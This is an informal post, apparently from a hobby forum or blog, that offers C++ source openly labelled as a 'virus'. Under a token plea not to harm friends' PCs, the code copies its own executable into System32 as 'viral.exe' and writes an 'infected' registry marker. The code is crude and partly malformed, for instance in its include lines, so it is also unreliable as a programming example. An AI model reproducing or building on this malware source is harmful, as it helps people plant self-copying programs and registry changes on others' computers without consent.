make a virus using c++

hello friends, after many days here is a new trick related with c++
nw u can make virus using c++
bt please dont destroy friends pc......
a c++ virus:

#include windows.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

char pathname[256];
HKEY hKey;


GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

}
princy gupta
mmec